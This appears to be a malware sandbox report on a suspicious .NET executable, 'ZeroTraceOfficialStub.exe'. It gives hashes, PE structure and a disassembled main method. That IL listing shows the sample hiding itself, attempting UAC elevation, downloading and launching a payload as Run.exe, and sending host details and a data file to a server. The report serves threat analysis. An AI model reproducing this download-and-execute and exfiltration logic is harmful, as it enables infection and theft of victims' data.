Suspicious
Suspect

PE Executable
MD5: 2a0955539bd323135dd9d1f0dc6cb965
Size: 11.23 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 2a0955539bd323135dd9d1f0dc6cb965
Sha1 c444076370ff0453111a863ea68341f29cb5f605
Sha256 b42e97c12a39ea8ce7d889b1487f497de27a49549467fa8dbf9d8ac9cca9e8cc
Sha384 e74970c9c8c75da7173408705c35c7b3c657f999ea8e185b6ea32a737fae44b4077ff201d669b3b34394f0f282268c38
Sha512 765c5901ecb08eb05a3a1095d555faf614adfa3de1117837ae56a3f8fd06e5066d2ae369d68c7a1c261ee5f0ca189a5b5b784940e8815f300d00b8e12eb80b6f
SSDeep 49152:epj5ULc3g4k2vX9OLQTM+acHEGSEGGVjb03xFKj0ia+CtbQuIrYIvVhARgzD1Rqo:
TLSH BAB6382439FA501AB173EFAA8BE479EADA6FB7733B07645D105003864723981DEC153E
2a0955539bd323135dd9d1f0dc6cb965
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
7b2ef50a5bd048be8bad9e1b4efd2a6d
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
ZeroTraceOfficialStub.exe
Full Name
ZeroTraceOfficialStub.exe
EntryPoint
System.Void ZeroTrace_Client.Program::a(System.String[])
Scope Name
ZeroTraceOfficialStub.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
ZeroTraceOfficialStub
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
948
Main Method
System.Void ZeroTrace_Client.Program::a(System.String[])
Main IL Instruction Count
278
Main IL 
call System.Void ZeroTrace_Client.Program::a()
ldc.i4.0 <null>
br.s IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4.0 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_03EA: ret
ldstr Server IP: 
ldsfld System.String ZeroTrace_Client.Program::G
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.1 <null>
br.s IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr Server Port: {0}
ldsfld System.Int32 ZeroTrace_Client.Program::a
box System.Int32
call System.String System.String::Format(System.String,System.Object)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.2 <null>
br.s IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr inj: 
ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.3 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr uac: 
ldsfld System.String ZeroTrace_Client.Program::H
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.4 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldstr downloadexecute: 
ldsfld System.String ZeroTrace_Client.Program::i
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.5 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldsfld System.String ZeroTrace_Client.Program::h
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_00EC: ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.Windows.Forms.Application::get_ExecutablePath()
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldc.i4.6 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
br.s IL_0123: ldsfld System.String ZeroTrace_Client.Program::H
ldsfld System.String ZeroTrace_Client.Program::h
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_010F: ldstr "Unexpected value for inj: "
ldstr hide is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.7 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
br.s IL_0123: ldsfld System.String ZeroTrace_Client.Program::H
ldstr Unexpected value for inj: 
ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::H
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0147: ldsfld System.String ZeroTrace_Client.Program::H
call System.Boolean ZeroTrace_Client.Program::a()
brtrue.s IL_017F: ldsfld System.String ZeroTrace_Client.Program::i
call System.Void ZeroTrace_Client.Program::A()
ldc.i4.8 <null>
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ret <null>
ldsfld System.String ZeroTrace_Client.Program::H
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_016B: ldstr "Unexpected value for inj: "
ldstr uac is disabled (value is 0)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 9
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
br.s IL_017F: ldsfld System.String ZeroTrace_Client.Program::i
ldstr Unexpected value for inj: 
ldsfld System.String ZeroTrace_Client.Program::h
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldsfld System.String ZeroTrace_Client.Program::i
ldstr 0
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_01DC: call System.String ZeroTrace_Client.Program::i()
newobj System.Void System.Net.WebClient::.ctor()
ldsfld System.String ZeroTrace_Client.Program::i
callvirt System.Byte[] System.Net.WebClient::DownloadData(System.String)
stloc.0 <null>
ldc.i4.s 10
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \Run.exe
call System.String System.String::Concat(System.String,System.String)
ldloc.0 <null>
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 11
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr \Run.exe
call System.String System.String::Concat(System.String,System.String)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
call System.String ZeroTrace_Client.Program::i()
stloc.1 <null>
ldc.i4.0 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldc.i4.0 <null>
switch dnlib.DotNet.Emit.Instruction[]
br IL_039A: ldloc.s V_8
call System.String ZeroTrace_Client.Program::j()
stloc.2 <null>
ldc.i4.1 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.String ZeroTrace_Client.Program::J()
stloc.3 <null>
ldc.i4.2 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.String ZeroTrace_Client.Program::k()
stloc.s V_4
ldc.i4.3 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.Boolean ZeroTrace_Client.Program::b()
stloc.s V_5
ldc.i4.4 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.Boolean ZeroTrace_Client.Program::B()
stloc.s V_6
ldc.i4.5 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.Boolean ZeroTrace_Client.Program::c()
stloc.s V_7
ldc.i4.6 <null>
br.s IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr Country: 
ldloc.1 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.7 <null>
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr OS: 
ldloc.2 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.8 <null>
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr GPU: 
ldloc.3 <null>
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 9
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldstr CPU: 
ldloc.s V_4
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 10
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldc.i4.s 13
newarr System.String
dup <null>
ldc.i4.0 <null>
ldloc.1 <null>
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldloc.2 <null>
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
ldloc.3 <null>
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldloc.s V_4
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldloc.s V_5
brtrue.s IL_0306: ldstr "1"
ldstr 0
br.s IL_030B: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldloc.s V_6
brtrue.s IL_0323: ldstr "1"
ldstr 0
br.s IL_0328: stelem.ref
ldstr 1
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldstr |
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldloc.s V_7
brtrue.s IL_0340: ldstr "1"
ldstr 0
br.s IL_0345: stelem.ref
ldstr 1
stelem.ref <null>
call System.String System.String::Concat(System.String[])
stloc.s V_8
ldc.i4.s 11
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
call System.String ZeroTrace_Client.Program::a()
stloc.s V_9
ldc.i4.s 12
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldloc.s V_9
brfalse.s IL_0389: ldstr "Sending system info only..."
ldstr Sending system info and data file to server...
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 13
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldloc.s V_8
ldloc.s V_9
call System.Void ZeroTrace_Client.Program::a(System.String,System.String)
ldc.i4.s 14
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
br.s IL_03A1: leave.s IL_03C8
ldstr Sending system info only...
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 15
br IL_01E6: switch(IL_022C,IL_0235,IL_023E,IL_0248,IL_0252,IL_025C,IL_0266,IL_027C,IL_0292,IL_02A9,IL_02C1,IL_0354,IL_0362,IL_0377,IL_0387)
ldloc.s V_8
call System.Void ZeroTrace_Client.Program::a(System.String)
leave.s IL_03C8: ldstr "Program will exit in 5 seconds..."
stloc.s V_10
ldc.i4.0 <null>
br.s IL_03A9: brfalse.s IL_03AD
ldc.i4.0 <null>
brfalse.s IL_03AD: ldstr "Error: "
br.s IL_03C6: leave.s IL_03C8
ldstr Error: 
ldloc.s V_10
callvirt System.String System.Exception::get_Message()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
ldc.i4.1 <null>
br.s IL_03A9: brfalse.s IL_03AD
leave.s IL_03C8: ldstr "Program will exit in 5 seconds..."
ldstr Program will exit in 5 seconds...
call System.Void System.Console::WriteLine(System.String)
ldc.i4.s 12
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldc.i4.s 13
br IL_0009: switch(IL_0047,IL_005E,IL_007A,IL_0094,IL_00AE,IL_00C8,IL_00EA,IL_010D,IL_0146,IL_0169,IL_01A7,IL_01C5,IL_03D9)
ret <null>
2a0955539bd323135dd9d1f0dc6cb965
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
7b2ef50a5bd048be8bad9e1b4efd2a6d
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙